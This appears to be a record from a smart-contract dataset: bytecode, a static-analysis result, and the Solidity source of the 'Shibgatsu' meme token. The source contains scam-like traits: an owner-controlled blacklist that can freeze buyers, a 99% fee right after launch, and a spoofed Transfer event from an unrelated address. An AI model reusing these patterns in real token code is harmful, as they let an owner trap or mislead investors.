ffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044b84600154610b1790919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104b9573d6000803e3d6000fd5b505050505050005b3480156104cd57600080fd5b506104d6610b4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105165780820151818401526020810190506104fb565b50505050905090810190601f1680156105435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055d57600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b85565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b506105cb610c77565b6040518082815260200191505060405180910390f35b3480156105ed57600080fd5b5061064c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c81565b604051808215151515815260200191505060405180910390f35b34801561067257600080fd5b5061067b61103b565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106a957600080fd5b506106b2611040565b6040518082815260200191505060405180910390f35b3480156106d457600080fd5b506106dd61104e565b6040518082815260200191505060405180910390f35b3480156106ff57600080fd5b5061073e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611054565b604051808215151515815260200191505060405180910390f35b34801561076457600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e5565b6040518082815260200191505060405180910390f35b3480156107bb57600080fd5b506107c461132d565b005b3480156107d257600080fd5b506107db6113e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082957600080fd5b50610832611409565b005b34801561084057600080fd5b506108496114a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088957808201518184015260208101905061086e565b50505050905090810190601f1680156108b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d057600080fd5b5061090f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114dc565b604051808215151515815260200191505060405180910390f35b34801561093557600080fd5b5061093e6116fb565b6040518082815260200191505060405180910390f35b34801561096057600080fd5b50610969611701565b6040518082815260200191505060405180910390f35b34801561098b57600080fd5b5061099461170e565b6040518082815260200191505060405180910390f35b3480156109b657600080fd5b506109f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061171c565b604051808215151515815260200191505060405180910390f35b348015610a1b57600080fd5b50610a70600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611918565b6040518082815260200191505060405180910390f35b348015610a9257600080fd5b50610ac7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199f565b005b600080831415610adc5760009050610afb565b8183029050818382811515610aed57fe5b04141515610af757fe5b8090505b92915050565b60008183811515610b0e57fe5b04905092915050565b60008183019050828110151515610b2a57fe5b80905092915050565b6000828211151515610b4157fe5b818303905092915050565b6040805190810160405280600d81526020017f4e4554524f2e4e4554574f524b0000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cbe57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9657600080fd5b610de7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b691fc3842bd1f071c0000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611165576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9565b6111788382610b3390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138957600080fd5b60028081111561139557fe5b600560149054906101000a900460ff1660028111156113b057fe5b141515156113bd57600080fd5b6001600560146101000a81548160ff021916908360028111156113dc57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146557600080fd5b60028081111561147157fe5b600560149054906101000a900460ff16600281111561148c57fe5b1415151561149957600080fd5b6114a1611af7565b565b6040805190810160405280600581526020017f4e4554524f00000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156657600080fd5b6115b7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b680d8d726b7177a8000081565b69b3fe97a2fafd2f40000081565b60006117ad82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119fb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1657fe5b021790555060006004541115611c0057611b9b600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c7f573d6000803e3d6000fd5b505600a165627a7a723058206dccd7980162638fbbdaa174b57270f32aa67676a9ff7ca3f5761e2c636a67fa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,077
0x0716823af246a3d53908ad3b4445b53c39e2c524
/** *Submitted for verification at Etherscan.io on 2022-01-03 */ /* $$$$$$\ $$\ $$\ $$\ $$\ $$ __$$\ $$ | \__| $$ | $$ | $$ / \__| $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$\ $$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$\ $$ __$$\ \____$$\ \_$$ _| $$ _____| $$| $$| \____$$\ $$ | $$ |$$ |$$ | $$ |$$ / $$ | $$$$$$$ | $$ | \$$$$$$\ $$| $$| $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ | $$ |$$ __$$ | $$ |$$\ \____$$\ $$| $$| \$$$$$$ |$$ | $$ |$$ |$$$$$$$ |\$$$$$$$ |\$$$$$$$ | \$$$$ |$$$$$$$ | \$$$$$$ | \______/ \__| \__| \__| \_______/ \____$$ | \_______| \____/ \_______/ \______/ $$\ $$ | \$$$$$$ | \______/ Shibgatsu $SHATSU The first Shiba of the new year (Shogatsu) ready to transport into DeFi 3.0 Telegram: https://t.me/Shibgatsu */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Shibgatsu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Shibgatsu"; string private constant _symbol = "SHATSU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3,address payable addr4) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 12; } if (openBlock + 4 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // uint256 contractETHBalance = address(this).balance; // if (contractETHBalance > 0) { // sendETHToFee(address(this).balance); // } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103ae578063dd62ed3e146103c3578063e98391ff14610409578063ec28438a14610429578063f429389014610449578063ffecf5161461045e57600080fd5b80638da5cb5b146102d757806395d89b41146102ff5780639a5904271461032e5780639b19251a1461034e578063a9059cbb1461036e578063bf6642e71461038e57600080fd5b806327a14fc21161010857806327a14fc214610231578063313ce5671461025157806351bc3c851461026d5780635932ead11461028257806370a08231146102a2578063715018a6146102c257600080fd5b806306fdde0314610150578063095ea7b31461019457806318160ddd146101c457806323b872dd146101ef578063273123b71461020f57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600981526853686962676174737560b81b60208201525b60405161018b9190611aaf565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611a02565b61047e565b604051901515815260200161018b565b3480156101d057600080fd5b506d0366e7064422fd842023400000005b60405190815260200161018b565b3480156101fb57600080fd5b506101b461020a3660046119c1565b610495565b34801561021b57600080fd5b5061022f61022a36600461194e565b6104fe565b005b34801561023d57600080fd5b5061022f61024c366004611a68565b610552565b34801561025d57600080fd5b506040516009815260200161018b565b34801561027957600080fd5b5061022f610590565b34801561028e57600080fd5b5061022f61029d366004611a2e565b6105a9565b3480156102ae57600080fd5b506101e16102bd36600461194e565b6105f1565b3480156102ce57600080fd5b5061022f610613565b3480156102e357600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561030b57600080fd5b5060408051808201909152600681526553484154535560d01b602082015261017e565b34801561033a57600080fd5b5061022f61034936600461194e565b610687565b34801561035a57600080fd5b5061022f61036936600461194e565b6106d2565b34801561037a57600080fd5b506101b4610389366004611a02565b610720565b34801561039a57600080fd5b5061022f6103a9366004611a68565b61072d565b3480156103ba57600080fd5b5061022f61075c565b3480156103cf57600080fd5b506101e16103de366004611988565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041557600080fd5b5061022f610424366004611a2e565b610b3a565b34801561043557600080fd5b5061022f610444366004611a68565b610b82565b34801561045557600080fd5b5061022f610bc0565b34801561046a57600080fd5b5061022f61047936600461194e565b610bca565b600061048b338484610c18565b5060015b92915050565b60006104a2848484610d3c565b6104f484336104ef85604051806060016040528060288152602001611c6a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611211565b610c18565b5060019392505050565b6000546001600160a01b031633146105315760405162461bcd60e51b815260040161052890611b04565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057c5760405162461bcd60e51b815260040161052890611b04565b61058a81633b9aca00611be4565b600d5550565b600061059b306105f1565b90506105a68161124b565b50565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161052890611b04565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461048f906113d4565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161052890611b04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b15760405162461bcd60e51b815260040161052890611b04565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260040161052890611b04565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048b338484610d3c565b6000546001600160a01b031633146107575760405162461bcd60e51b815260040161052890611b04565b600c55565b6000546001600160a01b031633146107865760405162461bcd60e51b815260040161052890611b04565b601354600160a01b900460ff16156107e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610528565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082230826d0366e7064422fd84202340000000610c18565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061196b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108db57600080fd5b505afa1580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061196b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095b57600080fd5b505af115801561096f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610993919061196b565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c3816105f1565b6000806109d86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3b57600080fd5b505af1158015610a4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a749190611a81565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afe57600080fd5b505af1158015610b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b369190611a4b565b5050565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161052890611b04565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610bac5760405162461bcd60e51b815260040161052890611b04565b610bba81633b9aca00611be4565b600a5550565b476105a681611458565b6000546001600160a01b03163314610bf45760405162461bcd60e51b815260040161052890611b04565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b038381166